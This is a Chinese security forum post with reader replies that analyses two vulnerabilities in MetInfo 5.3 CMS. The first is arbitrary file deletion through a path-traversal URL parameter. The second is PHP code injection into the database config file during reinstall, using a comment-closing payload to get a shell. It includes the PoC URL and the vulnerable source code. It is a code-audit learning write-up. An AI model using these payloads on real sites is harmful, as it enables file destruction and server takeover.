用户
搜索
  • TA的每日心情
    慵懒
    13 小时前
  • 签到天数: 85 天

    连续签到: 3 天

    [LV.6]常住居民II

    i春秋作家

    i春秋十五军菜鸟团团长

    Rank: 7Rank: 7Rank: 7

    24

    主题

    84

    帖子

    660

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-7 12:23:30 127026
    本帖最后由 F0rmat 于 2018-3-8 02:44 编辑

    前言

    前几天在先知看到的漏洞,就很想写个分析过程了的,因为比赛培训和在审计一个CMS拖到了今天。

    环境

    Web: phpstudy
    System: Windows 7 X64
    Browser: Firefox Quantum
    Python version : 2.7
    Tools: PhpStorm 2017.3.3、Seay源代码审计系统

    任意文件删除漏洞

    复现

    POC

    前提:需要由对应的删除权限
    flienamecsv代表要删除的文件
    http://xxx.com/admin/app/batch/csvup.php?fileField=1&flienamecsv=../../../config/install.lock

    执行结果

    代码位置和漏洞代码

    代码位置

    \admin\app\batch\csvup.php

    漏洞代码

    <?php
    $depth='../';
    require_once $depth.'../login/login_check.php';
    setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030'));
    $codeold='gbk';
    $codenew='utf-8';
    $classflie=explode('_',$fileField);
    $classflie=explode('-',$classflie[count($classflie)-1]);
    $class1=$classflie[0];
    $class2=$classflie[1];
    $class3=$classflie[2];
    $class=$class3?$class3:($class2?$class2:$class1); 
    $classcsv=$db->get_one("select * from $met_column where id=$class");
    if(!$classcsv){
    metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
    }
    $table=moduledb($classcsv['module']);
    $file = fopen($flienamecsv,'r');
    $fdata=fgetcsv($file);
    foreach($fdata as $key=>$val){
            if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;}
    }
    $numcsv=0;
    while ($data = fgetcsv($file)){
            $staticone=iconv($codeold,$codenew,$data[$staticnum]);
            if($staticone!=NULL){
                    $static[$numcsv+1]=$staticone;
                    $static_copy[]=$staticone;
            }
            $dataqrray[]=$data;
            $numcsv++;
    }  
    fclose($file); 
    @file_unlink($flienamecsv); 

    分析过程

    • 开始的时候我就在找$fileField$flienamecsv这两个变量是怎么get过来的,分析了包含include/common.inc.php里面的,有点类似前天写的seacms里面的写法,但是又不是从这里get过来的。

      我又继续找,找到了\admin\templates\met\app\batch\contentup.html文件里面的一个js函数

      再继续跟进这个函数,跳到了一个表单文件\admin\templates\met\images\js\iframes.js,在这里找到关于csvup.php文件里面的get那里的两个参数
    • 分析完传参的过程,我们继续分析删除文件的过程。我们直接看$class=$class3?$class3:($class2?$class2:$class1);这一句就行了,我们传一个数字2进去,判断,如果没有$class3就要$class2$class2$class1。这里为什么可以随便填数字,我们再跟进一下下面这个判断,如果SQL执行后$classcsv这个为假的话就不能执行下面的删除文件命令了。我们可以用seay的审计里面的mysql监控工具来观察下:
    • $file = fopen($flienamecsv,'r');读取我们传入的文件
      $classflie=explode('_',$fileField);
      $classflie=explode('-',$classflie[count($classflie)-1]);
      $class1=$classflie[0];
      $class2=$classflie[1];
      $class3=$classflie[2];
      $class=$class3?$class3:($class2?$class2:$class1); 
      $classcsv=$db->get_one("select * from $met_column where id=$class");
      if(!$classcsv){
      metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
      $table=moduledb($classcsv['module']);
      $file = fopen($flienamecsv,'r');
      }
    • 中间的没什么影响,我们就直接跳到文件删除这里,我们跟进一下这个函数。
      @file_unlink($flienamecsv); 
    • 传入文件名之后判断是否为windows系统,然后判读是否存在,最后执行删除函数unlink
      \admin\include\global.func.php
      function file_unlink($file_name) {
          if(stristr(PHP_OS,"WIN")){
                  $file_name=@iconv("utf-8","gbk",$file_name);
          }
          if(file_exists($file_name)) {
                  //@chmod($file_name,0777);
                  $area_lord = @unlink($file_name);
          }
          return $area_lord;
      }

      重装时数据库配置文件过滤不当

      复现

      利用上面的删除漏洞之后再重新安装,然后在填写数据库的步骤的时候写入内容。

    shell地址:http://metinfo.test/config/config_db.php

    代码位置和漏洞代码

    代码位置

    install\index.php

    漏洞代码

    case 'db_setup':
            {
                    if($setup==1){
                            $db_prefix      = trim($db_prefix);
                            $db_host        = trim($db_host);
                            $db_username    = trim($db_username);
                            $db_pass        = trim($db_pass);
                            $db_name        = trim($db_name);
                            $config="<?php
                       /*
                       con_db_host = \"$db_host\"
                       con_db_id   = \"$db_username\"
                       con_db_pass        = \"$db_pass\"
                       con_db_name = \"$db_name\"
                       tablepre    =  \"$db_prefix\"
                       db_charset  =  \"utf8\";
                      */
                      ?>";
    
                            $fp=fopen("../config/config_db.php",'w+');
                            fputs($fp,$config);
                            fclose($fp);
                            $db = mysql_connect($db_host,$db_username,$db_pass) or die('连接数据库失败: ' . mysql_error());
                            if(!@mysql_select_db($db_name)){

    分析过程

    • fopen打开文件,讲$congfig的内容写进配置文件。这个有就点逻辑不对了,应该输入数据库信息判断下对错再进行写文件才安全。
    • 为什么要*/phpinfo()/*这样写?因为用*/是为了闭合上面的注释。

          $config="<?php
                     /*
                     con_db_host = \"$db_host\"
                     con_db_id   = \"$db_username\"
                     con_db_pass        = \"$db_pass\"
                     con_db_name = \"$db_name\"
                     tablepre    =  \"$db_prefix\"
                     db_charset  =  \"utf8\";
                    */
                    ?>";
      
                          $fp=fopen("../config/config_db.php",'w+');
                          fputs($fp,$config);
                          fclose($fp);
                          $db = mysql_connect($db_host,$db_username,$db_pass) or die('连接数据库失败: ' . mysql_error());
                          if(!@mysql_select_db($db_name)){

    结束

    其实说来这个洞有点鸡肋了,因为安装过后程序都会修改程序,没有写的权限。不过学习整个过程还是不错的收获。

    我觉得论坛很多有设置回复可看,我写的文章最希望看到的是大家看到有什么错误或者是有什么问题的回复,要不然都灌水一样得不到解答和作者看不到错误,大家都没什么提升,只是个人观点。

    参考

    http://www.metinfo.cn/upload/file/MetInfo5.3.zip 程序下载
    https://xianzhi.aliyun.com/forum/topic/2096

    本帖被以下淘专辑推荐:

    getpass.cn
    好像没人回复呀
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    板凳
    发表于 2018-3-7 21:14:16

    我觉得论坛很多有设置回复可看,我写的文章最希望看到的是大家看到有什么错误或者是有什么问题的回复,要不然都灌水一样得不到解答和作者看不到错误,大家都没什么提升,只是个人观点。
    getpass.cn
    使用道具 举报 回复
    发表于 2018-3-7 21:59:01
    楼主 弱弱的问一句 如何学习代码审计
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    4#
    发表于 2018-3-7 22:21:54
    Souls7 发表于 2018-3-7 13:59
    楼主 弱弱的问一句 如何学习代码审计

    你动手做实验了吗?学PHP代码审计路线:
    1.先去了解学一些基础的PHP入门。
    2.去百度或者google看PHP漏洞全解,还可以去看seay出的一本代码审计的书。
    3.然后回来看文章,复现漏洞。
    4.最后去耐心审计一个新版本的程序。
    就这么简单,只要你踏出第一步,后面就不怕了。很多人会闲麻烦,懒得去看代码。
    getpass.cn
    使用道具 举报 回复
    发表于 2018-3-7 23:14:21
    F0rmat 发表于 2018-3-7 22:21
    你动手做实验了吗?学PHP代码审计路线:
    1.先去了解学一些基础的PHP入门。
    2.去百度或者google看PHP漏洞 ...

    谢谢了! 喜欢看你的帖子!
    使用道具 举报 回复
    发表于 2018-3-7 23:56:22
    谢谢 学习了期待更多精品
    使用道具 举报 回复
    发表于 2018-3-8 00:21:03
    学习大神的姿势了
    使用道具 举报 回复
    发表于 2018-3-8 10:23:20
    楼主 弱弱的问一句 如何学习代码审计
    使用道具 举报 回复
    F0rmat 发表于 2018-3-7 21:14
    我觉得论坛很多有设置回复可看,我写的文章最希望看到的是大家看到有什么错误或者是有什么问题的回复,要 ...

    嗯嗯,支持楼主
    使用道具 举报 回复
    发表于 2018-3-10 11:06:07
    感谢分享,学习,有问题再来
    使用道具 举报 回复
    发表于 2018-3-27 18:43:11
    使用道具 举报 回复
    发表于 2018-3-27 18:44:12

    bro

    本帖最后由 hellomm 于 2018-3-27 18:45 编辑

    不错思路。。。。。。。。。。。。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册